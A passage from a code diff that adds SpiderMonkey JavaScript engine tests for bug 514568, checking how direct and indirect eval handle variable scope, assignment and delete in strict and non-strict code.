+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = ev(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-normalcode.js b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-normalcode.js
new file mode 100644
index 0000000000..5d556458b8
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-normalcode.js
@@ -0,0 +1,212 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ "use strict";
+
+ var x = 2;
+ var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = eval(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ "use strict";
+
+ var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = eval(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-strictcode.js b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-strictcode.js
new file mode 100644
index 0000000000..a215a3ce70
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-strictcode.js
@@ -0,0 +1,214 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ "use strict";
+
+ var x = 2;
+ var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = eval(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ "use strict";
+
+ var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = eval(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-normalcode.js b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-normalcode.js
new file mode 100644
index 0000000000..8b3016d2ea
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-normalcode.js
@@ -0,0 +1,212 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ "use strict";
+
+ var x = 2;
+ var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = ev(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 4);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 4);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 23);
+
+
+function testY()
+{
+ "use strict";
+
+ var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = ev(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+assertEq(resultsY.global1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+assertEq(resultsY.global3, 2);
+
+assertEq(resultsY.del, false);
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 2);
+assertEq(resultsY.global4, 2);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+assertEq(resultsY.global5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-strictcode.js b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-strictcode.js
new file mode 100644
index 0000000000..4157369bae
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-strictcode.js
@@ -0,0 +1,214 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ "use strict";
+
+ var x = 2;
+ var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = ev(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ "use strict";
+
+ var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = ev(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-normalcode.js b/js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-normalcode.js
new file mode 100644
index 0000000000..cb56508527
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-normalcode.js
@@ -0,0 +1,172 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = eval(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 4);
+
+assertEq(resultsX.inner2, 7);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 23);
+
+
+var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = eval(ycode);
+
+var inner1 = f("get");
+var local1 = y;
+
+y = 8;
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+
+assertEq(resultsY.del, true);
+
+assertEq(resultsY.inner4, "ReferenceError");
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-strictcode.js b/js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-strictcode.js
new file mode 100644
index 0000000000..cede8de838
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-strictcode.js
@@ -0,0 +1,174 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = eval(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = eval(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+y = 8;
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-normalcode.js b/js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-normalcode.js
new file mode 100644
index 0000000000..5f4089f3d1
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-normalcode.js
@@ -0,0 +1,172 @@
